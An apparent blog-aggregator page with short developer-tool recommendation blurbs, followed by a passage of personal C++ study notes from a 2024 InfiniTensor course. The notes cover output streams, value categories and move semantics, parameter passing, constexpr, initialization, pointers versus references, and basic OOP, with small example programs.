现如今API接口的编写与调试已成为开发人员不可或缺的技能,工欲善其事,必先利其器,选择一款优秀的API管理工具显得尤为重要。本文大姚给大家推荐10款程序员常用的API管理工具,大家可以根据自身和团队情况按需选择一款进行使用。

4款实用的Redis可视化管理工具

俗话说得好“工欲善其事,必先利其器”,合理的选择和使用可视化的管理工具可以降低技术入门和使用的门槛。今天大姚给大家推荐4款开源、免费且实用的 Redis 可视化管理工具,希望可以帮助到有需要的同学。

3款功能强大的屏幕录制工具

在当今信息爆炸的当今时代,屏幕录制工具已成为学习、教学、远程沟通和内容创作的重要助手。它们不仅能够帮助我们高效记录屏幕上的活动,还能通过丰富的编辑和导出功能,让我们的内容更具专业性和吸引力。今天大姚给大家分享3款.NET开源、免费、功能强大的屏幕录制工具。

3款 Linux 服务器管理工具

选择一款好的 Linux 服务器管理工具能够极大地提高运维效率,保障业务连续性。今天大姚给大家分享3款不错的 Linux 服务器管理工具,希望可以帮助到有需要的同学。

4款功能强大的在线文档工具

在当今这个数字化时代,在线文档工具已成为我们日常工作和学习的得力助手。它们不仅提供了便捷的文档创建与编辑功能,还支持实时协作、版本控制、权限管理等高级特性,极大地提升了我们的工作效率和团队协作能力。随着技术的不断进步,市场上的在线文档工具琳琅满目,各有千秋。今天大姚给大家推荐的4款免费且功能强大的在线文档工具,排名不分先后,大家有更好的推荐欢迎在文末留言。

6款支持C#语言的AI辅助编程工具

在这个AI迅速发展的阶段,涌现出了一大批好用的AI辅助编程工具。AI辅助编程工具能够提高开发效率、改善代码质量、降低bug率,是现代软件开发过程中的重要助手。今天大姚给大家分享6款AI辅助编程工具(并且都支持C#语言),希望对大家有所帮助。

by 追逐时光者 at January 27, 2025 09:55 AM

juejin article

C++学习笔记(2024夏季InfiniTensor开源社区c++课程部分)

这是2024夏季InfiniTensor开源社区 清华ai训练营的c++课程部分

L1 c++输出

流输出std::cout和printf

  • 区别在于 std::cout是类型安全的,printf要标注类型,cout不用;
  • cout输出bool的时候会输出int的1 0
    • 如果你不想这样,就要先输出一个流修饰符,而且他改的是全局状态
    std::cout << std::boolalpha << true << ' ' << flase << std::endl;
    /*输出结果为true false*/
    std::cout << true << ' ' << flase << std::endl;
    /*这个没有流修饰符,但是输出也是true flase*/
    /*流修饰符改变的是全局状态*/
    
  • 流修饰符 zh.cppreference.com/w/cpp/io/ma…
    • 流修饰符改变的是全局状态
    • 这也太唐了 真不如printf

解决流输出的问题 用fmt库 他是类型安全的 支持流不支持的输出

  • 已经进入c++20标准
  • 你可以
      #include <fmt>
      // 字符串
      auto name = fmt::format("Hello, {}\n", "tlanyan");
      std::cout << name; // 输出 Hello, tlanyan
      // 或者直接使用fmt::print
      fmt::print("Hello, {}\n", "tlanyan");
    
      // 整数
      fmt::print("The answer is {}\n", 42); // 输出 The answer is 42
    
      // 浮点数
      fmt::print("PI is {:.2f}\n", 3.14159); // 输出 PI is 3.14
    
      // 布尔
      fmt::print("Are you human being? {}\n", true); // 输出Are you human being? true
    
      // vector
      // 需要 #include <fmt/ranges.h>
      fmt::print("vec: {}\n", std::vector{1, 4, 7}); // 输出 vec: [1, 4, 7]    fmt::print   ("The answer is {}\n", 42); 
    
  • 在c++20后可以
    #include <format>

    std::cout << std::format("hello,{}", "ABLing") << std::endl;
              << std::format("{} + {} = {}",23,19,23+19);

其他的流操作

  • std::cin
  • std::error

L2 运算符

  • 运算符 zh.cppreference.com/w/cpp/langu…
  • 在流输出里面,你里面的内容可能对函数本身造成影响,因为<<本质就是座椅运算符 所以你要多多加括号
  • 但是有时候加括号也不行,比如用宏的时候 ``` #define left(x, w) (x) << (w) std::cout << left(7 , 10) << std::endl: // 这会打印710 因为你用宏定义的左移在流输出里面被理解为<<输出

L3 声明

noexcept 关键字

是 C++11 引入的,用于标记一个函数声明为“不抛出异常”(即该函数不会抛出任何异常)。它在编译时帮助进行优化,同时也让程序员明确声明某个函数不会抛出异常,提供了更好的异常安全性和性能优化。

知识点

zh.cppreference.com/w/cpp/langu…

learn.microsoft.com/zh-cn/cpp/c…

SP 什么是左值什么是右值 移动语义

在 C++ 中,**左值(lvalue)右值(rvalue)**是表达式中不同类型的值,它们的区别在于它们是否可以出现在赋值操作符的左侧。

左值(Lvalue)

  • 定义:左值是一个可以出现在赋值操作符左侧的表达式,它代表的是一个可以定位的对象的内存地址。
  • 特点
    • 左值可以是对象、数组、引用等。
    • 左值的值可以在程序中修改(但不一定修改)。
    • 左值通常指向内存中的某个位置,因此可以通过该位置来读取或修改数据。

常见场景

  • 变量、数组元素、解引用后的指针等。

示例:

#include <iostream>

int main() {
    int x = 10;  // 'x' 是左值
    int y = 20;
    x = y;        // 'x' 在此为左值,'y' 是右值
    std::cout << x << std::endl;  // 输出 20
}

右值(Rvalue)

  • 定义:右值是一个不能出现在赋值操作符左侧的表达式,它通常表示一个临时值或者一个将被销毁的对象。
  • 特点
    • 右值通常没有名称,或者说它的生命周期比较短。
    • 右值通常表示的是一个即将消失的临时对象或常量,不能直接被修改。

常见场景

  • 字面量(如数字、字符常量)、临时对象、函数返回值等。

示例:

#include <iostream>

int main() {
    int x = 10;
    x = x + 5;  // 'x + 5' 是右值,结果会被赋值给左值 'x'
    std::cout << x << std::endl;  // 输出 15
}

在上面的例子中,x + 5 是一个右值,它表示一个临时计算结果,不能直接出现在赋值操作符的左侧。

右值引用(Rvalue Reference)

C++11 引入了右值引用(T&&)来允许对右值进行操作,特别是在移动语义完美转发中非常重要。

右值引用允许我们**“移动”**资源而不是复制,从而提高性能,特别是在涉及动态内存分配的场景中。

示例:

#include <iostream>
#include <vector>

void func(std::vector<int>&& v) {
    // 通过右值引用来接收临时对象
    std::cout << "Vector size: " << v.size() << std::endl;
}

int main() {
    std::vector<int> vec = {1, 2, 3};
    func(std::move(vec));  // 使用 std::move 将左值转换为右值
}

在这个例子中,std::move(vec)vec 转换为右值引用,从而调用 func 函数,这样可以避免复制整个 vec 容器,而是直接将其内容移动到新的位置。

左值引用和右值引用的区别

  • 左值引用(Lvalue Reference):只能绑定到左值。

    int a = 10;
    int& ref = a;  // 左值引用绑定到左值
    
  • 右值引用(Rvalue Reference):只能绑定到右值,允许通过移动语义优化性能。

    int&& rref = 10;  // 右值引用绑定到右值
    

应用场景

  1. 移动语义(Move Semantics)
    • 在涉及容器(如 std::vector)等数据结构时,使用右值引用可以避免不必要的深度复制,从而提高性能。
  2. 完美转发(Perfect Forwarding)
    • 在模板编程中,右值引用和 std::forward 配合使用,实现完美转发,确保参数能够按照其原始类型(左值或右值)传递到函数中。

示例:移动语义

#include <iostream>
#include <vector>

class MyClass {
public:
    MyClass() { std::cout << "Constructor\n"; }
    MyClass(const MyClass& other) { std::cout << "Copy Constructor\n"; }
    MyClass(MyClass&& other) noexcept { std::cout << "Move Constructor\n"; }
};

int main() {
    MyClass obj1;               // 输出: Constructor
    MyClass obj2 = std::move(obj1);  // 输出: Move Constructor
}

在这个例子中,std::move(obj1)obj1 转换为右值引用,从而触发移动构造函数而不是复制构造函数。

通过对右值的支持,C++ 能够减少不必要的资源复制,尤其是在处理大型数据结构时,能够显著提高程序的效率。

完美转发

L4传参

参数都有哪些传递方式?如何选择传递方式?

值传递

#include <iostream>

void printValue(int x) {
    std::cout << "x = " << x << std::endl;
    x = 100;  // 修改形参的值,不影响实参
}

int main() {
    int a = 10;
    printValue(a);
    std::cout << "a = " << a << std::endl;  // a的值仍为10
    return 0;
}

在这个例子中,printValue函数按值接收参数x。在函数内部对x的修改不会影响到main函数中的变量a。

左值引用传递

#include <iostream>

void swap(int& a, int& b) {
    int temp = a;
    a = b;
    b = temp;
}

int main() {
    int x = 10, y = 20;
    std::cout << "Before swap: x = " << x << ", y = " << y << std::endl;
    swap(x, y);
    std::cout << "After swap: x = " << x << ", y = " << y << std::endl;
    return 0;
}

这里swap函数通过按引用传递参数a和b,在函数内部交换了两个变量的值,这种修改会直接反映到main函数中的变量x和y上。

按指针传递

#include <iostream>

void increment(int* p) {
    (*p)++;  // 通过指针修改实参的值
}

int main() {
    int num = 5;
    std::cout << "Before increment: num = " << num << std::endl;
    increment(&num);
    std::cout << "After increment: num = " << num << std::endl;
    return 0;
}

increment函数通过指针p接收参数,在函数内部通过解引用(*p)来修改实参num的值。

左值常引用传递(可以引用临时对象(不用在调用前声明))

#include <iostream>
#include <string>

void printString(const std::string& str) {
    std::cout << "The string is: " << str << std::endl;
    // str = "New string";  // 错误,不能修改常量引用
}

int main() {
    std::string myString = "Hello, World!";
    printString(myString);
    return 0;
}

在这个例子中,printString函数按常量引用接收参数str。这种方式可以避免对std::string对象的复制,同时保证函数内部不能修改str的值,确保了数据的安全性。

右值引用传递

#include <iostream>
#include <string>

void printString(std::string&& str) {
    std::cout << str << std::endl; //两个引用号
}

int main() {
    std::string s = "Hello";
    printString(std::move(s));  // 明确将左值s转换为右值
    printString("World");       // 字面量"World"本身就是右值
    return 0;
}
在这个例子中,printString函数通过右值引用接收参数str,可以接收右值字符串。

完美转发(用到模板)

#include <iostream>
#include <utility>

template<typename T>
void wrapper(T&& arg) {
    // 使用std::forward进行完美转发
    wrappedFunction(std::forward<T>(arg));
}

void wrappedFunction(int& x) {
    std::cout << "wrappedFunction(int&): " << x << std::endl;
}

void wrappedFunction(int&& x) {
    std::cout << "wrappedFunction(int&&): " << x << std::endl;
}

int main() {
    int a = 5;
    wrapper(a);        // 调用wrappedFunction(int&)
    wrapper(10);       // 调用wrappedFunction(int&&)
    return 0;
}
在这个例子中,wrapper函数模板使用右值引用和std::forward来完美转发参数arg给wrappedFunction函数。根据传入的实参类型,wrappedFunction的重载版本会被正确调用。

L5 存储类说明符STATIC AUTO REGISTER THREAD_LOCAL EXTERN MUTABLE

zh.cppreference.com/w/cpp/langu…

// THINK: 这个函数的两个 `static` 各自的作用是什么?
// 第一个 `static` 修饰 `func` 函数,使其只在当前文件中可见;第二个 `static` 修饰 `static_` 变量,使其在多次函数调用之间保持其值并且只初始化一次。
static int func(int param) {
    static int static_ = param;
    // std::cout << "static_ = " << static_ << std::endl;
    return static_++;
}

L6 编译期计算 CONSTEXPR声明

在 C++ 和 Rust 中,计算可以发生在编译期或运行期,分别涉及编译器优化和 constexpr 声明。我们可以通过这两种方式来减少运行时的计算开销,提高程序的性能。

1. 编译器优化 (来自编译器的优化)

编译器优化指的是编译器在编译时对代码进行的一些智能优化,以减少运行时的计算负担。这些优化通常是在程序编译阶段自动进行的,不需要开发者显式指定。编译器会分析代码并尝试将某些计算转化为在编译时完成的计算,从而避免在程序运行时进行这些计算。

示例(C++)

#include <iostream>

int square(int x) {
    return x * x;
}

int main() {
    int result = square(5);  // 编译器可以将这行代码优化为 result = 25;
    std::cout << result << std::endl;
    return 0;
}

解释

  • 如果在编译过程中,编译器能够确定 square(5) 是一个常量表达式(编译时可以计算的值),它会将 square(5) 直接替换为 25
  • 这样,在运行时,result 就是 25,而没有进行额外的乘法计算。
  • 这类优化通常依赖于编译器的优化级别和具体实现,不需要显式的 constexpr 声明。

2. constexpr 进行声明 (编译期常量表达式)

constexpr 是 C++11 引入的一个关键字,用于显式声明常量表达式,指明一个函数或变量在编译时可以被计算。这意味着 constexpr 函数的结果可以在编译时计算出来,而不是在程序运行时计算。

  • constexpr 函数:在编译时执行,可以像常量一样使用。
  • constexpr 变量:在编译时确定其值,且该值不能改变。

示例(C++)

#include <iostream>

constexpr int square(int x) {
    return x * x;
}

int main() {
    constexpr int result = square(5);  // 计算在编译期完成
    std::cout << result << std::endl;   // 输出 25
    return 0;
}

解释

  • square 函数被声明为 constexpr,这意味着它可以在编译期计算并返回结果。

  • result 也被声明为 constexpr,意味着它的值(square(5))会在编译时就被确定为 25。

  • 这意味着在运行时,不会再进行乘法计算,result 已经是一个常量。

  • 编译器优化:通过编译器的自动优化,某些计算可以在编译时完成。例如,在 C++ 中,编译器会尝试将常量表达式提前计算,从而减少运行时的计算。

  • constexprconst fn:这是一种显式声明常量表达式的方法,允许开发者在编写代码时指明某些计算可以在编译时进行,这样计算结果就会在编译阶段完成,而不是在程序运行时进行。

这两种方式都能够提高程序性能,减少运行时的计算,尤其是在涉及到大量常量计算时。

sp 斐波那契数列求和递归

  • 以下的代码 运行的时候算的顺序不定
  • 这说明多个参数 +两边的情况 << <<的流等 计算顺序不定 是未定义型 编译器会因各种原因改变顺序
  • 因此 一行式子不要出现超过一个i++ 否则会让顺序出错
/*这个直接跑不了的 要放到05的函数体里*/
constexpr unsigned long long fibonacci(int i,int level = 0) {
    for(int j = 0;j < level;j ++){
        std::cout << "; ";
    }
    std::cout << i << std::endl;
    switch (i) {
        case 0:
            return 0;
        case 1:
            return 1;
        default:
            return fibonacci(i - 1) + fibonacci(i - 2);
    }
}
int main(int arg, int **argv){
    constexpr auto ANS_N = 5;
    auto ANS = fibonacci(ANS_N);
    std::cout << "fibonacci(" << ANS_N << ") ="  << ANS << std::endl;
    return 0;
}

L7 数组

zh.cppreference.com/w/cpp/langu…

L8 纯函数

  • 一个函数被称为纯函数(pure function),如果它满足以下两个条件:

    • 无副作用(No Side Effects):函数的执行不应改变外部状态(如修改全局变量、输入输出等),并且它不依赖于外部状态。
    • 对于相同输入总是返回相同输出(Deterministic Output):给定相同的输入,函数每次执行的结果必须是一样的。
  • 下面是一个使用了缓存的斐波那契,很快

// THINk: 这个函数是一个纯函数(pure function)吗?
// READ: 纯函数 <https://zh.wikipedia.org/wiki/%E7%BA%AF%E5%87%BD%E6%95%B0>
static unsigned long long fibonacci(int i) {
    static unsigned long long cache[96]{0, 1}, cached = 2;
    for (; cached <= i; ++cached) {
        cache[cached] = cache[cached - 1] + cache[cached - 2];
    }
    return cache[i];
}
  • 这是纯函数,只要相同输入会有相同输出,就是纯函数

L9 枚举 联合 类型转换

  • cpp的类型转换这样写
    static_cast<int>(b) //把b转换为int型,效果等同于`(int)b`
    
  • 如果要逐比特的转换,就利用指针
    float a = 2.5;
    int* p = reinterpret_cast<int*>(&a); 

    std::cout << *(int*)p << std::endl; //c写法
    std::cout << *reinterpret_cast<int*>(p) << std::endl; //cpp写法
#include "../exercise.h"

// READ: 枚举类型 <https://zh.cppreference.com/w/cpp/language/enum>

// `enum` 是 C 的兼容类型,本质上其对应类型的常量。
// 在 `enum` 中定义标识符等价于定义 constexpr 常量,
// 这些标识符不需要前缀,可以直接引用。
// 因此 `enum` 定义会污染命名空间。
enum ColorEnum : unsigned char {
    COLOR_RED = 31,
    COLOR_GREEN,
    COLOR_YELLOW,
    COLOR_BLUE,
};

// 有作用域枚举型enum class是 C++ 引入的类型安全枚举。
// 其内部标识符需要带前缀引用,如 `Color::Red`。
// 作用域枚举型可以避免命名空间污染,并提供类型安全保证。
enum class Color : int {
    Red = COLOR_RED,
    Green,
    Yellow,
    Blue,
};

ColorEnum convert_by_pun(Color c) {
    // READ: <https://zh.cppreference.com/w/cpp/language/union>
    // `union` 表示在同一内存位置存储的不同类型的值。
    // 其常见用法是实现类型双关转换,即将一种类型的值转换为另一种无关类型的值。
    // 但这种写法实际上仅在 C 语言良定义,在 C++ 中是未定义行为。
    // 这是比较少见的 C++ 不与 C 保持兼容的特性。
    // READ: 类型双关 <https://tttapa.github.io/Pages/Programming/Cpp/Practices/type-punning.html>
    union TypePun {
        ColorEnum e;
        Color c;
    };

    TypePun pun;
    // TODO: 补全类型双关转换

    return pun.e;
}

int main(int argc, char **argv) {
    ASSERT(convert_by_pun(Color::Red) == COLOR_RED, "Type punning conversion");
    ASSERT(convert_by_pun(Color::Green) == COLOR_GREEN, "Type punning conversion");
    ASSERT(convert_by_pun(Color::Yellow) == COLOR_YELLOW, "Type punning conversion");
    ASSERT(convert_by_pun(Color::Blue) == COLOR_BLUE, "Type punning conversion");
    return 0;
}

L10 初始化

zh.cppreference.com/w/cpp/langu… 多看!!!!!

根据 C++ 的官方参考文档,C++ 支持几种不同的初始化方法。以下是列举的初始化方式:

  1. 直接初始化(Direct Initialization)
    通过括号或圆括号初始化对象。

    int x(10);  // 直接初始化
    
  2. 拷贝初始化(Copy Initialization)
    通过赋值的方式初始化对象。

    int x = 10;  // 拷贝初始化
    
  3. 列表初始化(List Initialization)

    1. 普通变量的初始化

      int x{10};  // x 被初始化为 10
      

      这里,x 被初始化为 10,如果没有适合的构造函数或者类型转换,则会产生错误。

    2. 数组的初始化

      int arr[3]{1, 2, 3};  // 数组 arr 被初始化为 {1, 2, 3}
      
    3. 类的初始化(使用构造函数):

      如果你有一个类,使用列表初始化时,可以通过调用构造函数来初始化成员变量:

      class MyClass {
      public:
          int a;
          double b;
      
          MyClass(int x, double y) : a(x), b(y) {}
      };
      
      MyClass obj{10, 3.14};  // obj 被初始化为 a=10, b=3.14
      
  4. 统一初始化(Uniform Initialization)
    这是 C++11 引入的语法,花括号初始化提供一种统一的方式初始化所有对象。

    int x{10};  // 统一初始化
    double d{3.14};
    
  5. 零初始化(Zero Initialization)
    使用花括号初始化时,如果没有给出值,则会将对象初始化为零。

    int x{};  // 零初始化,x 的值为 0
    
  6. 默认初始化(Default Initialization)
    如果没有为变量提供初始化值,那么根据变量的类型,C++ 会决定默认的初始化方式:

    • 基本数据类型(如 intdouble)会有未定义值。
    • 类类型会调用默认构造函数。
    int x;  // 默认初始化,x 的值不确定
    
  7. 值初始化(Value Initialization)
    使用 T() 初始化对象时,会调用默认构造函数(对于类类型)并将成员初始化为零(对于内置类型,值初始化会给对象赋予零值)。

    int x{};  // 值初始化
    MyClass obj{};  // 调用默认构造函数,成员初始化为零
    
  8. 引用初始化(Reference Initialization)
    初始化引用类型时,引用必须绑定到某个对象。

    int x = 10;
    int& ref = x;  // 引用初始化
    
  9. 动态初始化(Dynamic Initialization)
    使用 new 操作符动态分配内存并初始化。 返回值是指针

int* ptr = new int(10);  // 动态初始化
  1. 类类型初始化(Class Initialization)
    类对象初始化时,调用相应的构造函数。
    class MyClass {
    public:
        MyClass(int val) : x(val) {}
        int x;
    };
    
    MyClass obj(10);  // 类对象初始化
    

sp 有关&和*用法的终极辨析

1. & — 引用符号(仅cpp,表示一个非空的指针)

在声明时作为引用

  • & 在声明变量时表示引用类型。引用是一个别名,它与原始变量共享同一内存地址,因此修改引用的值会直接影响原始变量。

    int a = 10;
    int& b = a; // b 是 a 的引用
    b = 20;      // 修改 b 的值,会影响 a
    std::cout << a << std::endl; // 输出 20
    

在函数参数中传递引用

  • 传递引用可以避免复制大量数据(尤其是大对象),并且可以让函数修改传入的变量。

    void addTen(int& x) {
        x += 10;
    }
    
    int main() {
        int n = 5;
        addTen(n); // 通过引用传递,n 会被修改
        std::cout << n << std::endl; // 输出 15
    }
    

注意:

  • 引用一旦绑定到某个对象后,无法再指向其他对象。它与指针不同,指针可以指向不同的内存地址。

2. & — 地址符号

  • 在取地址时,& 用于获取变量的内存地址,即返回该变量的指针。

    int a = 10;
    int* p = &a; // 获取 a 的地址并赋给 p
    std::cout << p << std::endl; // 输出 a 的地址
    

3. * — 指针符号

在声明时作为指针

  • * 在声明变量时表示指针类型。指针是一个存储内存地址的变量,它指向另一个变量。

    int a = 10;
    int* p = &a; // p 是一个指向 int 类型的指针
    std::cout << *p << std::endl; // 输出 p 所指向的变量的值,即 a 的值 10
    

通过指针解引用

  • * 用于解引用,获取指针指向的变量的值。如果你有一个指针,你可以通过解引用操作访问它所指向的对象。

    int a = 10;
    int* p = &a;
    *p = 20;  // 修改 p 指向的值,即修改 a 的值
    std::cout << a << std::endl; // 输出 20
    

4. & 和 * 在赋值中的区别

赋值给引用:

  • 引用会直接修改原始变量的值,因为引用是原始变量的别名。

    int a = 10;
    int& b = a; // b 是 a 的引用
    b = 20;      // b 被赋值为 20,a 也变为 20
    std::cout << a << std::endl; // 输出 20
    

赋值给指针:

  • 指针的赋值需要间接操作,指针本身保存的是地址,而解引用指针时可以修改指针指向的值。

    int a = 10;
    int* p = &a;
    *p = 20;   // 修改 p 指向的值,即修改 a 的值
    std::cout << a << std::endl; // 输出 20
    

5. & 和 * 在传参中的区别

传值(默认行为)

  • 通过传值传递时,函数会接收变量的副本,修改副本不会影响原始变量。

    void addTen(int x) {
        x += 10;  // 修改副本
    }
    
    int main() {
        int n = 5;
        addTen(n);
        std::cout << n << std::endl; // 输出 5,n 不受影响
    }
    

传引用

  • 通过引用传递时,函数操作的是原始变量本身,修改会影响传入的变量。

    void addTen(int& x) {
        x += 10;  // 修改原始变量
    }
    
    int main() {
        int n = 5;
        addTen(n);
        std::cout << n << std::endl; // 输出 15,n 被修改
    }
    

传指针

  • 通过指针传递时,函数接收的是指针,可以通过解引用修改指针指向的变量。

    void addTen(int* x) {
        *x += 10;  // 修改指针指向的值
    }
    
    int main() {
        int n = 5;
        addTen(&n);
        std::cout << n << std::endl; // 输出 15,n 被修改
    }
    

总结

  • &
    • 在声明时:表示引用类型。
    • 在取地址时:用于获取变量的地址。
  • *
    • 在声明时:表示指针类型。
    • 在解引用时:访问指针指向的值。
  • 传参时的区别
    • 传值:函数接收变量的副本。
    • 传引用:函数接收原始变量的引用,可以修改原始变量。
    • 传指针:函数接收变量的地址,通过解引用可以修改原始变量。

sp (下面的几章着眼于面向对象,这是前置知识)面向对象与实例化

1. 面向对象编程 (Object-Oriented Programming, OOP)

面向对象编程(OOP)是一种编程范式,它将程序视为一组相互作用的对象,而这些对象是通过类来定义的。OOP 通过将数据和操作数据的代码封装在一起,使得程序更加模块化、灵活和易于维护。面向对象编程的四大基本特性包括:

  1. 封装(Encapsulation)
  2. 继承(Inheritance)
  3. 多态(Polymorphism)
  4. 抽象(Abstraction)

1.1 封装 (Encapsulation)

封装是将数据和操作数据的行为封装成对象的过程。通过封装,类的内部实现细节对外部隐藏,外部只能通过公开的接口来访问类的成员。这样有助于保护数据,并提高代码的可维护性。

1.2 继承 (Inheritance)

继承允许一个类(派生类)继承另一个类(基类)的属性和方法。通过继承,可以实现代码的重用,并为类添加新的功能。

1.3 多态 (Polymorphism)

多态允许通过父类指针或引用来调用子类的重写函数,从而表现出不同的行为。通过虚函数和继承,C++ 实现了运行时多态。

1.4 抽象 (Abstraction)

抽象指的是从现实世界中提取出重要的特征和行为,并忽略不重要的细节。在编程中,抽象通常通过类和接口来实现。


2. 实例化 (Instantiation)

实例化 是指根据类创建对象的过程。类是对象的蓝图或模板,而对象则是类的一个具体实例。实例化过程是将类定义转换为内存中的实际数据结构,从而允许访问类的属性和方法。

2.1 类和对象的关系

  • 是对象的模板,定义了对象的属性和行为。
  • 对象 是类的一个具体实例,代表了类在内存中的一个特定实现。

2.2 创建对象的过程

在 C++ 中,实例化对象通常使用 构造函数 来完成。构造函数用于初始化对象的成员变量,并为对象分配内存空间。构造函数的名称与类名相同,并且没有返回类型。

例子:

class Car {
public:
    string make;
    string model;
    int year;

    // 构造函数
    Car(string m, string mod, int y) {
        make = m;
        model = mod;
        year = y;
    }

    void displayInfo() {
        cout << "Car: " << year << " " << make << " " << model << endl;
    }
};

int main() {
    Car myCar("Toyota", "Camry", 2020);  // 实例化对象 myCar
    myCar.displayInfo();  // 调用对象的方法
    return 0;
}

在这个例子中,Car 类通过构造函数接受参数 makemodelyear 来实例化一个对象 myCarmyCarCar 类的一个实例,可以调用类中的成员函数 displayInfo()

2.3 动态实例化

在 C++ 中,除了静态实例化(在栈上创建对象)外,还可以通过动态内存分配在堆上实例化对象。使用 new 关键字来动态创建对象,并返回指向该对象的指针。

例子:

int main() {
    Car* carPtr = new Car("Honda", "Civic", 2021);  // 动态实例化
    carPtr->displayInfo();  // 通过指针调用对象方法
    delete carPtr;  // 释放内存
    return 0;
}

在这个例子中,new 用于动态分配内存,创建了 Car 类的一个对象,并返回该对象的指针。使用 delete 释放动态分配的内存。

2.4 默认构造函数

默认构造函数是没有参数的构造函数,如果你没有为类定义构造函数,编译器会自动提供一个默认的构造函数。默认构造函数会初始化成员变量为默认值。

例子:

class Person {
public:
    string name;
    int age;

    // 默认构造函数
    Person() {
        name = "Unknown";
        age = 0;
    }

    void displayInfo() {
        cout << "Name: " << name << ", Age: " << age << endl;
    }
};

int main() {
    Person p;  // 使用默认构造函数
    p.displayInfo();  // 输出:Name: Unknown, Age: 0
    return 0;
}

3. 构造函数与实例化

3.1 构造函数的作用

构造函数在对象实例化时被调用,主要负责初始化对象的状态。构造函数可以有多个版本,这样可以支持不同的初始化方式:

  • 默认构造函数:无参数,提供默认值。
  • 带参数的构造函数:接受参数并根据参数初始化对象。
  • 拷贝构造函数:用于创建一个新对象作为现有对象的副本。

3.2 拷贝构造函数

拷贝构造函数用于创建一个对象,它是另一个同类型对象的副本。拷贝构造函数的格式通常是:

ClassName(const ClassName& other);

例子:

class Point {
public:
    int x, y;

    Point(int x_val, int y_val) : x(x_val), y(y_val) {}

    // 拷贝构造函数
    Point(const Point& p) {
        x = p.x;
        y = p.y;
    }

    void display() {
        cout << "Point(" << x << ", " << y << ")" << endl;
    }
};

int main() {
    Point p1(10, 20);
    Point p2 = p1;  // 使用拷贝构造函数
    p2.display();  // 输出:Point(10, 20)
    return 0;
}

在这个例子中,Point 类定义了一个拷贝构造函数,用于将 p1 的值复制到 p2

4. 静态实例化

除了实例化普通对象外,C++ 还支持静态实例化。静态成员变量属于类本身,而不是类的实例,因此它们在所有对象之间共享。

4.1 静态成员变量

静态成员变量在类的所有对象之间共享,而不是每个对象都有一份副本。静态成员变量必须在类外定义。

例子:

class Counter {
public:
    static int count;  // 静态成员变量

    Counter() {
        count++;
    }

    static void displayCount() {
        cout << "Count: " << count << endl;
    }
};

int Counter::count = 0;  // 定义静态成员变量

int main() {
    Counter c1;
    Counter c2;
    Counter::displayCount();  // 输出:Count: 2
    return 0;
}

在这个例子中,count 是静态成员变量,它在所有 Counter 类的对象之间共享。


5. 总结

  • 面向对象编程:一种基于对象和类的编程方法,四大基本特性是封装、继承、多态和抽象。
  • 实例化:根据类创建对象的过程,使用构造函数进行对象初始化。对象可以在栈上静态创建,也可以在堆上动态创建。
  • 构造函数:用于初始化对象的成员变量。可以有默认构造函数、带参数的构造函数和拷贝构造函数。
  • 静态成员:静态成员变量在所有对象之间共享,可以通过类名直接访问。

L11 方法

  • cpp可以把函数的定义写到结构体里面,这样这个函数就成为了这个结构体的方法

this关键字

  • 在 C++ 中,this 是一个特殊的类型为self(结构体是什类型它就是什么类型)的指针,指向当前对象的地址。它只 能在类的成员函数内部使用,表示调用该成员函数的对象本身this 关键字允许你在类的方法内部访问和操作当前对象的员变量和方法, 尤其是在对象的成员与局部变量或函数参数发命名冲突时,它非常有 用。 this 关键字的基本概念 this 是 指针 类型,指向当前对象的地址。 它只能在 成员函数 中使用,指向调用该成员函数的对象。 this 允许你直接访问当前对象的 成员变量 和 成员函数。 this 不能在 静态成员函数 中使用,因为静态成员函数不与某特定 对象关联。 示例:
#include <iostream>
using namespace std;
class MyClass {
public:
    int value;
    // 成员函数,使用 this 指针
    void setValue(int value) {
        this->value = value;  // 使用 this 指针来区成员   变量和参数
    }
    void showValue() {
        cout << "The value is " << this->value <<  endl;  // 使用 this 访问成员变量
    }
};
int main() {
    MyClass obj;
    obj.setValue(10);  // 调用 setValue 方法,this 向     obj
    obj.showValue();   // 输出:The value is 10
    return 0;
}

在上面的例子中: this->value 是指访问当前对象的成员变量 value。 this 指向调用成员函数的对象。在 setValue 中,它指向obj,在 showValue 中,它同样指向 obj。

用const修饰成员函数

1. const 修饰成员函数:int get(int i) const

const 修饰符放在成员函数的末尾,表示 该成员函数不会修改对象的状态,也就是说,这个函数不会修改类的成员变量。

  • const 修饰符放在成员函数的后面表示 "成员函数不会修改成员变量",并且保证它是一个 常量成员函数(const member function)。
  • 这种修饰符非常重要,特别是在你希望函数能够对 const 对象进行调用时。例如,允许你在 const 类型的对象上调用该方法,而不会发生编译错误。

为什么要用 const 修饰成员函数?

  • 限制行为const 成员函数不会修改类的状态,所以它只能访问类的 const 成员变量。
  • 支持 const 对象:如果一个对象是 const 类型(即 const Fibonacci FIB),那么只能调用那些被 const 修饰的成员函数。这样可以确保你不会意外地修改一个本应保持不变的对象。
示例:
struct Fibonacci {
    int numbers[11];

    // const 成员函数:承诺不会修改类的成员变量
    int get(int i) const {
        return numbers[i];
    }
};

这里,get 是一个 const 成员函数,它承诺 不会修改 numbers 数组中的元素。这使得你可以通过 const 对象调用 get 方法,且不会改变对象的状态。

如果没有 const 修饰符,你将不能在 const 对象上调用 get 方法:

const Fibonacci FIB{{0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55}};
FIB.get(10);  // 只能调用 const 成员函数

否则编译器会报错。

2. const 修饰 FIB 对象:Fibonacci constexpr FIB{{0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55}};

在这行代码中,const 关键字的作用是使得 FIB 对象本身成为 常量对象。一旦对象被定义为 const,就意味着 该对象的状态(成员变量)不能被修改

  • const Fibonacci FIB:表示 FIB 是一个 Fibonacci 类型的常量对象,这意味着 FIB 对象的所有成员变量在程序中都不可修改。
  • constexpr 修饰符:表示 FIB 对象是一个 常量表达式,在编译时已经确定了值。它要求 FIB 的构造函数中的所有数据必须是 常量表达式,也就是编译时已知的常量值。

这种定义方式确保了 FIB 对象在程序中不可被修改,同时它也需要在编译时就能够确定。

关键点:

  • const 确保对象不可变。
  • constexpr 确保对象的值在编译时是已知的。

L12 类 访问修饰符

  • C++ 中,classstruct 之间的唯一区别class 默认访问控制符是 privatestruct 默认访问控制符是 public。 READ: 访问说明符 zh.cppreference.com/w/cpp/langu… 这个 class 中的字段被 private 修饰,只能在 class 内部访问。 因此必须提供构造器来初始化字段。 READ: 构造器 zh.cppreference.com/w/cpp/langu…

public和private访问修饰符

  • 在 C++ 中,public 和 private 是访问修饰符(access specifiers),它们决定了类的成员(变量和函数)对外界的可访问性。C++ 提供了三种主要的访问修饰符:

